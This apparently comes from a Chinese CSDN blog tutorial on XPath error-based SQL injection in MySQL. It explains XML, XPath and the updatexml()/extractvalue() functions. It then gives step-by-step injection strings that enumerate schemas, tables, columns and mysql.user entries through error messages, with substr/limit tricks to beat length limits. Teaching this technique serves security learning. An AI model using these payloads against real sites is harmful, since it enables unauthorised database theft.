xpath报错注入

  • 什么是xml?

XML 指可扩展标记语言,是一种很像HTML的标记语言(XML 不是 HTML 的替代),XML 的设计宗旨是传输数据,而不是显示数据。XML 标签没有被预定义。用户可以自行定义标签。XML 被设计为具有自我描述性。

  • 但xml不会对数据内容做任何事情

下面实例是 Jani 写给 Tove 的便签,存储为 XML:

<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

上面的这条便签具有自我描述性。它包含了发送者和接受者的信息,同时拥有标题以及消息主体。但它仍然没有做任何事情,仅仅是包装在 XML 标签中的纯粹的信息。我们需要编写软件或者程序,才能传送、接收和显示出这个文档

  •  xml可以让用户自定义自己的标签

上面实例中的标签,没有在任何 XML 标准中定义过(比如 <to> 和 <from>)。这些标签是由用户创造的。这是因为 XML 语言没有预定义的标签。XML 允许创作者定义自己的标签和自己的文档结构。

HTML 中使用的标签都是预定义的。HTML 文档只能使用在 HTML 标准中定义过的标签(如 <p>、<h1> 等)。

  • xml和html有什么区别?

XML被设计为传输和存储数据,其焦点是数据的内容。

HTML被设计用来显示数据,其焦点是数据的外观。

在大多数web应用程序中,XML用于传输数据,而HTML用于格式化并显示数据。

  • 什么是报错注入?

报错注入在没法用union联合查询时用,且不能过滤一些关键的函数。

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里主要记录一下xpath语法错误导致的报错注入类型

  • 报错注入的条件是什么?

1.报错信息必须是动态的、来自数据库的报错信息。
2.网站写死的、自定义的报错提示不算。

  • 什么是xpath?

XPath 是一门在 XML 文档中查找信息的语言。

           XPath 使用路径表达式在 XML 文档中进行导航;
           XPath 包含一个标准函数库。

           ...

来源于:XPath 教程 | 菜鸟教程

  • 什么是xpath节点?

在 XPath 中,有七种类型的节点:元素、属性、文本、命名空间、处理指令、注释以及文档(根)节点。XML 文档是被作为节点树来对待的。树的根被称为文档节点或者根节点。

例子:下面这个 XML 文档:

<?xml version="1.0" encoding="UTF-8"?>

<bookstore>
  <book>
    <title lang="en">Harry Potter</title>
    <author>J K. Rowling</author>
    <year>2005</year>
    <price>29.99</price>
  </book>
</bookstore>

上面的XML文档中的节点例子:

<bookstore> (文档节点)
<author>J K. Rowling</author> (元素节点)
lang="en" (属性节点)

来源于:XPath 节点 | 菜鸟教程

  • 报错函数

updatexml函数

语法:UPDATEXML(XML_document,XPath_string,new_value)

第一个参数:是string格式,为XML文档对象的名称,第二个参数:代表路径,Xpath格式的字符串例如//title 第三个参数:string格式,替换查找到的符合条件的数据

SQL报错注入的应用:当使用updatexml(XML_document,XPath_string,new_value)函数时,若xpath_string参数不符合xpath格式,就会报错。

而~符号(ascii编码值:0x7e)是不存在xpath格式中的, 所以一旦在XPath_string参数中使用~符号,就会产生xpath syntax error (xpath语法错误),通过使用这个方法就可以达到报错注入的目的。

函数参数有三个

  • XML数据
  • XPath表达式:用于指定要修改的节点位置
  • 新的节点值:用于替换当前节点的值

updatexml函数报错的原理是:

UPDATEXML(XML_document,XPath_string,new_value);
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式

而第二个参数xpath_string(xpath格式的字符串),我们在注入的时候把第二个参数变为非xpath格式自然会报错

实例:

现在有以下的XML类型的数据:

<root>
  <message>
    <sender>Tom</sender>
    <receiver>Kate</receiver>
    <content>Hello, how are you?</content>
  </message>
</root>

我们可以用updatexml函数来替换节点的值,比如将消息内容的值替换为新的内容

UPDATE messages
SET msg = UPDATEXML(msg, '/root/message/content', 'I am fine, thank you.')
WHERE id = 1;

上面的语句将会把表中id为1的记录的content节点的值修改为"I am fine, thank you."。

实操见:

知识点选自:详解MySQL的UPDATEXML()函数:更新 XML 文档中的节点值 - Python技术站

extractvalue函数:此函数从目标XML中返回包含所查询值的字符串
语法:extractvalue(XML_document,xpath_string)

第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串) xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想查询的内容。正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

SQL报错注入的应用:当使用extractvalue(XML_document,xpath_string)函数时,若xpath_string参数不符合xpath格式,就会报错。

而~符号(ascii编码值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_string参数中使用~符号,就会产生xpath syntax error (xpath语法错误),通过使用这个方法就可以达到报错注入的目的。

实操见:

  • 突破报错函数长度限制

updatexml() 和extractvalue()函数的报错内容长度不能超过32个字符,常用的解决方式有两种:

  1. limit 分页
  2. substr()截取字符

  • limit分页

以查询数据库用户为例:

?id=-1' and updatexml(1,concat(0x7e,
    (select user
    from mysql.user limit 1,1)
),3) -- a

  • substr()截取字符

以查询数据库用户为例:

?id=-1' and updatexml(1,concat(0x7e,
    substr(
        (select group_concat(user)
        from mysql.user)
    , 1 , 31)
),3) -- a

  • 报错注入步骤

1. 判断是否有注入点且注入点类型是什么

参数中添加任意内容,判断是注入点后再判断其注入类型

-- 空格为单行注释符

?id=1' --

2. 判断报错条件

参数中添加报错函数,检查报错信息是否正常回显在页面上

?id=1' and updatexml(1,'~',3) --

3. 获取所有数据库

用concat函数拼接特殊符号和查询结果

1,31表示从第1个字符开始截取,截取31个字符

?id=-1' and updatexml(1,concat('~',
    substr(
        (select group_concat(schema_name)
        from information_schema.schemata)
    , 1 , 31)
),3) --

4.获取所有表

?id=-1' and updatexml(1,concat('~',
    substr(
        (select group_concat(table_name)
        from information_schema.tables
        where table_schema = 'xxx')
    , 1 , 31)
),3) --

5.获取所有字段

?id=-1' and updatexml(1,concat('~',
    substr(
        (select group_concat(column_name)
        from information_schema.columns
        where table_schema = 'xxx' and table_name = 'xx')
    , 1 , 31)
),3) --

7.获取字段下的数据

本文所有知识点引用源于:

xpath报错注入_xpath syntax_硫酸超的博客-CSDN博客

【精选】SQL报错型注入原理-详细讲解 extractvalue()、updatexml()、floor() 的报错原因-CSDN博客 sql注入之报错注入-CSDN博客

报错注入是什么?一看你就明白了。报错注入原理+步骤+实战案例-CSDN博客

【精选】updatexml函数-报错注入原理学习_身高两米不到的博客-CSDN博客

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值